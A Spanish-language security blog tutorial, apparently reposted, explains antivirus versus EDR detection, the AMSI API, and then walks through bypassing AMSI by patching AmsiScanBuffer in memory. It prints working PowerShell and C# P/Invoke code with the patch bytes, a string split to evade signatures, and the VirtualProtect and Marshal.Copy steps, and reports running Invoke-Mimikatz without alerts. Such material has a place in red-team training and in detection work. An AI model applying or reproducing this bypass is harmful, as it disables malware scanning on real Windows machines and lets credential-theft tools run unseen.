En este artículo estaremos viendo el concepto de AMSI, su funcionamiento y como se puede evadir parcheando una de sus funciones. Antes de entrar con este tema, vamos a ver la diferencia principal entre un AV (Antivirus) y un EDR (Endpoint Detection and Response) además de los métodos de detección que usan.
AV vs EDR
Un AV como todos sabemos, escanea el sistema con el fin de detectar y eliminar software malicioso. El AV para lograr este fin, escaneará archivos y procesos en busca de patrones conocidos de código malicioso. En el caso de encontrar algo raro, lo elimina o lo pone en cuarentena.
Por otro lado, el EDR es mas avanzado, ya que detecta y responde a las posibles amenazas en tiempo real. Además, a diferencia de un AV, que se enfoca principalmente en la detección y eliminación de malware conocido, un EDR puede detectar amenazas desconocidas usando técnicas de inteligencia artificial y machine learning.
En conclusión, un AV se enfoca en la detección y eliminación de malware conocido, mientras que un EDR se enfoca en la detección y respuesta en tiempo real a amenazas desconocidas utilizando técnicas de inteligencia artificial y machine learning.
Métodos de detección de los AV/EDR
Antiguamente, los AV solían esperar a que un archivo se escribiera en el disco o a que se creara un nuevo
proceso antes de iniciar cualquier acción. Sin embargo, los métodos de detección actuales de los AV o EDR son
más avanzados e incluyen:
Detección basada en firmas : Este método compara patrones, cadenas, firmas o hashes de
una base de datos de malware conocido.
Detección heurística : Este tipo de detección busca comandos o instrucciones que no se encuentran normalmente en una aplicación y que tienen intenciones maliciosas, similar a la detección basada en firmas.
Detección basada en el comportamiento : A diferencia de la detección basada en heurística este método implica que el EDR esté en busca de eventos creados por el programa, como intentos de modificar archivos críticos o generar cmd.exe, así como llamar a una secuencia de funciones que podrían indicar un potencial vector de inyección de procesos.
Detección Sandbox : En este tipo de detección, el programa se ejecuta en un entorno virtualizado (sandbox) y su comportamiento se registra y analiza en el sandbox o manualmente por un analista de malware. Esto permite al EDR ver en detalle lo que hará el archivo en ese entorno concreto. De hecho, algunos malwares están diseñados para, antes de su ejecución, comprobar si se encuentran en una sandbox o no, para que, en el caso de que se encuentren, no se ejecuten.
Independientemente del método de detección utilizado, es más fácil que los AV o EDR detecten el malware mientras que el binario está en el disco. La detección de malware fileless (en memoria) es más difícil de detectar.
Introducción a AMSI
Con el lanzamiento de Windows 10, Microsoft introdujo AMSI, una interfaz de programación de aplicaciones (API) que permite la detección de malware en una amplia variedad de lenguajes de programación, incluyendo PowerShell. AMSI actúa como un puente que conecta las aplicaciones con el software antivirus. Cada comando, macro o script que se ejecute en PowerShell, o en cualquier otro lenguaje de programación compatible con AMSI, es enviado al software antivirus a través de AMSI para su análisis.
Aunque AMSI se introdujo inicialmente para PowerShell, con el tiempo se ha extendido a otros lenguajes de programación como JScript, VBScript, VBA y .NET (aunque realmente cualquiera puede integrar AMSI con sus programas usando las llamadas a la API ofrecidas por AMSI Interface). Esto quiere decir que, si por ejemplo (caso práctico), un archivo .exe está escrito en un lenguaje de programación compatible con .NET, como C# o Visual Basic .NET, y está diseñado para interactuar con el sistema operativo de Windows, AMSI estará presente para analizar su contenido.Las llamadas a la API AMSI que el programa puede utilizar (en nuestro caso powershell) se define dentro del archivo amsi.dll , tan pronto como se inicia el proceso powershell, amsi.dll se carga en él. Podemos verificarlo con Process Hacker :
AMSI exporta ciertas funciones de la API para que sean usadas por el proceso para comunicarse con el software antivirus a través de RPC:
Entre ellas, la que estaremos parcheando para bypasearlo.
Funciones de amsi.dll
AmsiInitialize: El programa utiliza esta función para inicializar la interfaz AMSI en una aplicación de Windows. La función toma como entrada el nombre de la aplicación que está inicializando AMSI, y devuelve un identificador de sesión que se utiliza para identificar la sesión de escaneo de malware de la aplicación.
HRESULT AmsiInitialize(
LPCWSTR appName,
HAMSICONTEXT *amsiContext
);
AmsiOpenSession: Toma el contexto que se devolvió de la llamada anterior y permite cambiar a esa sesión. Podemos alojar múltiples sesiones de AMSI si queremos.
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
AmsiScanString: Toma nuestro string y devuelve el resultado, es decir, 1 si la string esta limpia y 32768 si la string es maliciosa.
HRESULT AmsiScanString(
HAMSICONTEXT amsiContext,
LPCWSTR string,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
AmsiScanBuffer: Similar a AmsiScanString(), esta función coge el buffer en lugar de la string y devuelve el resultado.
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
AmsiCloseSession: Esta función simplemente cierra la sesión que fue abierta por el programa previamente usando AmsiOpenSession().
void AmsiCloseSession(
HAMSICONTEXT amsiContext,
HAMSISESSION amsiSession
);
Hemos visto un poco por encima las funciones de la API que usa AMSI, pero nosotros nos centraremos concretamente en las funciones AmsiScanString() y AmsiScanBuffer() .
Ofuscación
La ofuscación es una técnica utilizada por los atacantes para dificultar el análisis de su código al AV. Esto se hace normalmente mediante el uso de diversas transformaciones de código que hacen que sea más difícil entender la intención del código, pero sin cambiar su funcionalidad.
Por ejemplo, un atacante puede usar técnicas como encriptación del código, renombramiento de variables y división del código para dificultar entender la funcionalidad del mismo.
AMSI envía el contenido al AV para determinar si es malicioso, por lo que si el contenido está ofuscado el AV no puede detectar si es malicioso.
Si podemos ofuscar las palabras en el buffer de entrada detectado por el AV, podemos ejecutar casi cualquier script sin problemas. Sin embargo, ofuscar o eliminar todas las palabras detectadas no es del todo posible porque además de llevar bastante tiempo, cada proveedor de AV tendrá su propia firma y en constante actualización. En este post vamos a ver una alternativa a esta técnica.
Parcheando la función AmsiScanBuffer() de amsi.dll
Este método parchea la función AmsiScanBuffer() . La librería amsi.dll se carga en el mismo espacio de memoria virtual, por lo que tenemos un control casi completo sobre ese espacio de direcciones.
Esta función es similar a AmsiScanString, pero en lugar de escanear una cadena de caracteres, escanea un búfer de memoria en busca de contenido malicioso. Esto es útil para analizar archivos o fragmentos de código en memoria que no están representados como cadenas de caracteres.
Recordatorio del funcionamiento de AmsiScanBuffer()
Echemos un vistazo a las llamadas a la API AMSI que powershell hace con la ayuda de FridaTools . Cuando iniciamos una sesión en Frida, esta crea archivos handler que podemos modificar para imprimir argumentos y resultados en tiempo de ejecución. En nuestro caso editaremos el siguiente archivo:
C:\Users\User__handlers__\amsi.dll\AmsiScanBuffer.js
En la imagen de arriba podemos ver que hemos modificado el archivo para que nos imprima esos argumentos y el resultado del escaneo en la salida. Una vez que hemos editado el archivo, podemos iniciar el tracer :
De esta manera, estaremos monitorizando en tiempo real el proceso de powershell:
Como mencionamos anteriormente, si la string que obtiene la función para analizarla es maliciosa, el escaneo nos devuelve como resultado 32768. En cambio, si la string no es detectada como maliciosa, el resultado del escaneo es 1.Vamos a analizar la función AmsiScanBuffer() en más detalle. Para ello, vamos a usar IDA Freeware :
Abriremos el binario amsi.dll , y buscaremos en él la función:
En la imagen de arriba podemos ver varios bloques de código. El escaneo está formado por las instrucciones de la caja de la izquierda. Las instrucciones del bloque de código de arriba a la derecha es llamada cuando el argumento que es pasado no es válido, 80070057h corresponde a E_INVALIDARG . Después la función termina.Sabiendo esto, podemos parchear el inicio de la función AmsiScanBuffer() con las instrucciones del bloque de código que mencionamos anteriormente, es decir:
Esto con el fin de que cuando AmsiScanBuffer() sea llamada, devuelva el código de error en lugar de realizar el escaneo AMSI. El byte que corresponde a estas instrucciones es b857000780 .
Para parchear la función AmsiScanBuffer() usaremos las siguientes API calls:
LoadLibrary : Para cargar la DLL amsi.dll en el espacio de direcciones.
GetProcAddress : Para obtener la dirección de memoria de AmsiScanBuffer() .
VirtualProtect : Para agregar permisos de escritura a la región de memoria, ya que por defecto tiene permisos RX. Necesitamos dar permisos de escritura para poder sobreescribir las instrucciones que mencionamos anteriormente y después volveremos a poner la región de memoria como RX.
Para poder llamar a estas API calls, tenemos que hacer uso de pin v oke . Primero necesitamos definir estos métodos con
C# usando esta herramienta (que nos permite llamar a API no gestionadas en código gestionado) y luego cargar el código C# en la sesión de powershell usando add-type .
Antes de nada, la diferencia entre un código gestionado y no gestionado es la siguiente:
El código gestionado es aquel que se ejecuta bajo un entorno controlado por un administrador de ejecución, como .NET Framework o .NET Core. Este entorno maneja automáticamente aspectos clave, como la asignación de memoria, la recolección de basura y la seguridad. El código gestionado generalmente se escribe en lenguajes de alto nivel como C# o Visual Basic .NET y ofrece una mayor abstracción y facilidad de uso para los desarrolladores.
Código gestionado
El código no gestionado, en cambio, se ejecuta directamente en el sistema operativo sin la intervención de un administrador de ejecución. Este tipo de código suele estar escrito en lenguajes de bajo nivel como C o C++ y se utiliza para interactuar directamente con los recursos del sistema operativo. El manejo de la memoria, la seguridad y otros aspectos es responsabilidad del desarrollador en el caso del código no gestionado.
Código no gestionado
Dicho esto, el siguiente código hace uso de pinvoke para implementar llamadas a la API:
$code = @"
using System;
using System.Runtime.InteropServices;
public class WinApi {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out int lpflOldProtect);
}"@
En este código, cargamos las funciones que usaremos.
System.Runtime.InteropServices es donde se implementa pinvoke. Después definimos la firma para cada API nativa.
Añadimos el código a la sesión de powershell con Add-Type . Una vez hecho esto, ya podremos usar las API calls que hemos implementado en la sesión de powershell. Ahora, introducimos lo siguiente:
$amsiDll = ::LoadLibrary("amsi.dll")
$asbAddr = ::GetProcAddress($amsiDll,"Ams"+"iScan"+"Buf"+"fer")
$a = 0xB8
$b = 0x57
$c = 0x00
$d = 0x07
$e = 0x80
$f = 0xC3
$ret = ( $a,$b,$c,$d,$e,$f )
$out = 0
Al ejecutar este bloque de código en powershell lo que estamos haciendo es:
Primero obtenemos el handle de la librería amsi.dll y luego llamamos a GetProcAddress() para obtener la dirección de la función AmsiScanBuffer dentro de amsi.dll .
Definimos una variable llamada $ret que contiene los bytes que sobrescribirán las primeras instrucciones de AmsiScanBuffer() , $out es lo que contendrá el antiguo permiso de la región de memoria devuelto por VirtualProtect.
[WinApi]::VirtualProtect($asbAddr, $ret.Length, 0x40, $out)
[System.Runtime.InteropServices.Marshal]::Copy($ret, 0, $asbAddr, $ret.Length)
[WinApi]::VirtualProtect($asbAddr, $ret.Length, $out, $null)
Ahora, en el código de arriba, estamos llamando a la función VirtualProtect() para cambiar el permiso de la región de memoria de AmsiScanBuffer() a RWX(0x40) y luego usamos Marshal.Copy para copiar los bytes de la región de memoria gestionada a una no gestionada. Después llamamos a VirtualProtect() de nuevo para cambiar los permisos de AmsiScanBuffer() a los permisos que hemos almacenado en $out .
Ahora, si lanzamos “Invoke-Mimikatz” la alerta de AMSI no se dispara, por lo que hemos conseguido sobrescribir correctamente los primeros bytes de la función AmsiScanBuffer() .
Como curiosidad, esta es la manera en la que Evil-WinRM bypasea el AMSI con su función:
原文始发于MIGUEL ÁNGEL CORTÉS :Parcheando AmsiScanBuffer – AMSI ByPass